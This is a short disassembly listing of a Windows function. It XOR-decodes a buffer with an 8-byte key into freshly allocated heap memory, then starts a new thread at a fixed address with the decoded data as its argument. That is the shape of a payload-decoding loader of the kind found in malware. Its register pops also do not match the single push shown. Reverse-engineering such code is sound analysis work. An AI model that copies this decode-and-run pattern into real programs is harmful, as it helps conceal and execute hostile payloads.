push rbx
sub rsp, 0x30
mov rdi, rcx
mov esi, edx
mov ecx, 0x40000
xor edx, edx
mov rbp, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test esi, esi
jle 0x401836
movsxd r9, esi
mov r8, rax
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
xor eax, eax
mov rdx, rax
and edx, 7
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
cmp esi, eax
jg 0x40181f
call fcn.004017b3
mov rcx, rbx
call fcn.004015ba
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x0040159b]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret